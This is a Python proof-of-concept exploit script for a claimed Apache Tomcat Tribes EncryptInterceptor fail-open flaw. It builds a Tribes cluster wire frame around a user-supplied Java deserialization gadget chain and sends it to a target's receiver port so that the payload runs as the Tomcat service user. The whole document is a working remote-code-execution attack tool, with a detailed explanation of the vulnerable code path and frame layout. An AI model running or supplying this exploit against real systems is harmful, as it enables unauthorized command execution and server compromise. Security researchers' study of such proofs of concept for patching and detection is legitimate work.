#!/usr/bin/env python3
"""
CVE-2026-34486 — Apache Tomcat Tribes EncryptInterceptor fail-open RCE.

Wraps a raw (UNENCRYPTED) Java serialization gadget chain in a Tomcat Tribes
NioReceiver wire frame and sends it to the cluster receiver port. Because the
vulnerable EncryptInterceptor.messageReceived() in 11.0.20 calls
super.messageReceived() even after decrypt() throws GeneralSecurityException,
the raw bytes are forwarded to XByteBuffer.deserialize() -> readObject(), firing
the gadget and executing the command as the Tomcat service user.

Tribes wire layout (org.apache.catalina.tribes.io.XByteBuffer):
  START = b"FLT2002"
  <int length of payload>
  <payload>   == an org.apache.catalina.tribes.io.ChannelData.getDataPackage()
  END   = b"TLF2003"

ChannelData.getDataPackage() layout (parsed by ChannelData.getDataFromPackage):
  int    options
  long   timestamp
  int    uniqueId length ; uniqueId bytes
  int    member length   ; member bytes
  int    message length  ; message bytes   <-- the serialized object
"""
import io
import socket
import struct
import sys
import time

START_DATA = b"FLT2002"
END_DATA = b"TLF2003"


# A structurally valid Tribes MemberImpl data package (TRIBES-B...TRIBES-E),
# generated once via StaticMember("localhost",4001,0).getData() and parsed back
# successfully by MemberImpl.getMember(). ChannelData.getDataFromPackage() parses
# this member blob with MemberImpl.getMember() BEFORE the message bytes are
# extracted, so a malformed member would make the receiver drop the frame with an
# IllegalArgumentException before the vulnerable interceptor path is reached. This
# blob describes a generic 127.0.0.1 member and is not environment-specific.
MEMBER_HEX = (
    "5452494245532d420100000000390000019e8b1b7dd400000fa1"
    "ffffffffffffffff047f00000100000000000000047465737400000000"
    "000000000000000000000000000000005452494245532d450100"
)


def build_member():
    return bytes.fromhex(MEMBER_HEX)


def build_packet(serialized: bytes) -> bytes:
    member = build_member()
    uid = b"\xDD" * 16
    cd = io.BytesIO()
    cd.write(struct.pack(">i", 0))                          # options
    cd.write(struct.pack(">q", int(time.time() * 1000)))    # timestamp
    cd.write(struct.pack(">i", len(uid))); cd.write(uid)
    cd.write(struct.pack(">i", len(member))); cd.write(member)
    cd.write(struct.pack(">i", len(serialized))); cd.write(serialized)
    data = cd.getvalue()
    return START_DATA + struct.pack(">i", len(data)) + data + END_DATA


def main():
    if len(sys.argv) != 4:
        sys.stderr.write("usage: send.py <host> <port> <payload_file>\n")
        sys.exit(2)
    host = sys.argv[1]
    port = int(sys.argv[2])
    with open(sys.argv[3], "rb") as f:
        serialized = f.read()

    packet = build_packet(serialized)
    sys.stderr.write(
        "[*] target=%s:%d  gadget=%d bytes  frame=%d bytes\n"
        % (host, port, len(serialized), len(packet))
    )

    s = socket.create_connection((host, port), timeout=10)
    try:
        s.sendall(packet)
        sys.stderr.write("[*] frame sent; reading any response (best-effort)\n")
        s.settimeout(3)
        try:
            resp = s.recv(4096)
            sys.stderr.write("[*] response: %r\n" % resp)
        except socket.timeout:
            sys.stderr.write("[*] no response within timeout (expected)\n")
    finally:
        s.close()


if __name__ == "__main__":
    main()
